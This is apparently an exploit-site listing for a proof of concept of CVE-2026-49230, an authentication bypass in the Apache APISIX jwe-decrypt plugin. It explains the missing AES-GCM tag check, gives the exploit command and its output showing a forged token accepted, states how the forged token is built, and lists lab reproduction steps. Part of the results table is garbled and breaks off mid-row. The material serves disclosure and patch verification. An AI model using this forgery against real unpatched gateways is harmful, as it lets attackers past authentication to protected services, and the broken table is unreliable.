Share
## https://sploitus.com/exploit?id=3C17A533-D041-55FF-A215-0C9A7198A4B3
# CVE-2026-49230 β€” Apache APISIX `jwe-decrypt` Authentication Bypass

Proof of concept for an authentication bypass in the Apache APISIX `jwe-decrypt`
plugin. The plugin decrypts a JWE token and forwards its plaintext to the
upstream, acting as an authentication gate β€” but it **never validates the
AES-GCM authentication tag**. A token that merely carries a valid consumer
`kid` is accepted no matter how bogus its ciphertext and tag are, so an attacker
who knows any consumer key β€” which travels in cleartext in the header of every
legitimate token β€” passes the gate **without knowing the AES secret**.

| | |
|---|---|
| **CVE** | CVE-2026-49230 |
| **Product** | Apache APISIX (`jwe-decrypt` plugin) |
| **Affected** | 3.8.0 – 3.16.0 |
| **Fixed** | 3.17.0 |
| **Class** | CWE-354 β€” Improper Validation of Integrity Check Value |
| **CVSS 3.1** | 9.1 (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`) |
| **Auth** | Unauthenticated (needs a valid consumer `kid`, not the secret) |
| **Published** | 2026-06-19 |
| **Status** | **CONFIRMED** β€” reproduced end-to-end on 3.16.0; rejected on 3.17.0 |

## Root cause

`apisix/plugins/jwe-decrypt.lua` (tag 3.16.0):

```lua
local function jwe_decrypt_with_obj(o, consumer)
    ...
    local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
    return decrypted                 -- returns ONE value
end

function _M.rewrite(conf, ctx)
    ...
    local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
    if err ~= nil then               -- err is ALWAYS nil -> dead guard
        return 400, { message = "failed to decrypt JWE token" }
    end
    core.request.set_header(ctx, conf.forward_header, plaintext)   -- request passes
end
```

`aes:decrypt()` returns `nil` when the GCM authentication tag does not match,
but that return value is discarded and the caller inspects a non-existent `err`,
which is always `nil`. The integrity check is therefore never enforced: any JWE
with a resolvable `kid` is authenticated. The AES secret β€” the only thing an
attacker is not supposed to have β€” is never actually needed.

The fix in 3.17.0 propagates the error (`return decrypted, err`) and switches
the guard to `if not plaintext then return 400`. The same fix also removes the
plugin's public `GET /apisix/plugin/jwe/encrypt` token-minting API.

See [`ANALYSIS.md`](ANALYSIS.md) for the full code-level walkthrough.

## Exploit

```
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
```

```
[*] consumer kid  : alice-key  (NO AES secret used)
[*] forged JWE    : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token           -> HTTP 403  {"message":"missing JWE token in request"}
[2] forged JWE token   -> HTTP 200  UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
```

The forged token is `base64url(header{kid}) . "" . iv . garbage_ciphertext .
garbage_tag`. Only the header (with a valid `kid`) matters; everything after it
is attacker-chosen junk.

## Reproduce

```bash
cd lab
./setup.sh                 # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh   # same test rejects on the patched build
./teardown.sh
```

This environment has no Docker bridge, so the lab uses `--network host`
(etcd on `:2379`, APISIX data plane `:9080`, admin `:9180`, backend `:8080`).

## Discriminant results (rules out false positives)

| Request | 3.16.0 (vulnerable) | 3.17.0 (patched) |
|---|---|---|
| no token | 403 `missing JWE token` | β€” |
| malformed token (` requests that pass the
gateway while the upstream receives no usable forwarded header.

## Credits

Research and PoC by Caio FabrΓ­cio ([@BiiTts](https://github.com/BiiTts)).

## License

MIT β€” see [LICENSE](LICENSE).